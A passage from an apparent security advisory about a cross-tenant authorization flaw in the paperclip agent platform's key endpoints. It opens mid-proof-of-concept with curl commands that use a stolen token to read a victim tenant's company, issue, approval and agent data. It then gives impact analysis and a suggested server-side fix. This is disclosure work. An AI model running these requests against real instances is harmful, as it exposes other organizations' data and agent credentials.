Details
# Step 4: use the stolen token to read victim company data
STOLEN=pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25
VICTIM_CO=<victim-company-id>
curl -s -H "Authorization: Bearer $STOLEN" \
http://<target>:3102/api/companies/$VICTIM_CO
# -> 200 { "id":"...", "name":"Victim Corp", ... }
curl -s -H "Authorization: Bearer $STOLEN" \
http://<target>:3102/api/companies/$VICTIM_CO/issues
# -> 200 [ ...every issue in the victim tenant... ]
curl -s -H "Authorization: Bearer $STOLEN" \
http://<target>:3102/api/companies/$VICTIM_CO/approvals
# -> 200 [ ...every approval in the victim tenant... ]
curl -s -H "Authorization: Bearer $STOLEN" \
http://<target>:3102/api/agents/$VICTIM_AGENT
# -> 200 { ...full agent config incl. adapter settings... }
Observed outputs (all verified on live instance at time of submission):
POST /api/agents/:id/keys→ 201 with plaintexttokenbound to the victim'scompanyIdGET /api/companies/:victimId→ 200 full company metadataGET /api/companies/:victimId/issues→ 200 issue listGET /api/companies/:victimId/agents→ 200 agent listGET /api/companies/:victimId/approvals→ 200 approval list
Impact
- Type: Broken access control / cross-tenant IDOR (CWE-285, CWE-639, CWE-862, CWE-1220)
- Who is impacted: every paperclip instance running in
authenticatedmode with defaultPAPERCLIP_AUTH_DISABLE_SIGN_UP(open signup). That is the documented multi-user configuration and the default indocker/docker-compose.quickstart.yml. - Confidentiality: HIGH. Any signed-up user can read another tenant's company metadata, issues, approvals, runs, and agent configuration (which includes adapter URLs, model settings, and references to stored secret bindings).
- Integrity: HIGH. The minted token is a persistent agent credential that authenticates for every
assertCompanyAccess-gated agent-scoped mutation in the victim tenant (issue/run updates, self-wakeup with attacker-controlled payloads, adapter execution via the agent's own adapter, etc.). - Availability: HIGH. The attacker can
pause,terminate, orDELETEany agent in any company via the siblingassertBoard-only handlers (/agents/:id/pause,/resume,/terminate,DELETE /agents/:id). - Relation to GHSA-68qg-g8mg-6pr7: the 2026.410.0 patch added
assertInstanceAdminonPOST /companies/importand closed the disclosed chain, but the same root cause (assertBoardtreated as sufficient whereassertCompanyAccessis required on a cross-tenant resource, or whereassertInstanceAdminis required on an instance-global resource) is present in multiple other handlers. The import fix did not audit sibling routes. This report is an instance of that same class the prior advisory did not cover.
Severity is driven by the fact that every precondition is default, the bug
is reachable by any signed-up user with zero memberships, and the stolen
token persists across sessions until manually revoked.
Suggested Fix
In server/src/routes/agents.ts, replace each of the three /keys handlers
so they load the target agent first and enforce company access:
router.get("/agents/:id/keys", async (req, res) => {
assertBoard(req);
const id = req.params.id as string;
const agent = await svc.getById(id);
if (!agent) {
res.status(404).json({ error: "Agent not found" });
return;
}
assertCompanyAccess(req, agent.companyId);
const keys = await svc.listKeys(id);
res.json(keys);
});
router.post("/agents/:id/keys", validate(createAgentKeySchema), async (req, res) => {
assertBoard(req);
const id = req.params.id as string;
const agent = await svc.getById(id);
if (!agent) {
res.status(404).json({ error: "Agent not found" });
return;
}
assertCompanyAccess(req, agent.companyId);
const key = await svc.createApiKey(id, req.body.name);
...
});
router.delete("/agents/:id/keys/:keyId", async (req, res) => {
assertBoard(req);
const keyId = req.params.keyId as string;
// Look up the key to find its agentId/companyId, then:
const key = await svc.getKeyById(keyId);
if (!key) { res.status(404).json({ error: "Key not found" }); return; }
assertCompanyAccess(req, key.companyId);
await svc.revokeKey(keyId);
res.json({ ok: true });
});
While fixing this, audit the sibling lifecycle handlers at lines 1962-2048
(/agents/:id/pause, /resume, /terminate, DELETE /agents/:id) which
share the same bug.
Defense in depth: consider a code-wide sweep for assertBoard(req) calls
that are not immediately followed by assertCompanyAccess orassertInstanceAdmin — the 2026.410.0 patch focused on one handler but the
pattern is systemic.
Patch Status
- Latest image at time of writing:
ghcr.io/paperclipai/paperclip:latestdigestsha256:baa9926e..., commitb649bd4(canary/v2026.411.0-canary.8), which is *after* the 2026.410.0 import bypass fix. - The bug is still present on that revision. PoC reproduced end-to-end against an unmodified container.
Credits
Discovered by pwnkit, an
AI-assisted security scanner, during variant-hunt analysis of
GHSA-68qg-g8mg-6pr7. Manually verified against a live isolated paperclip
instance.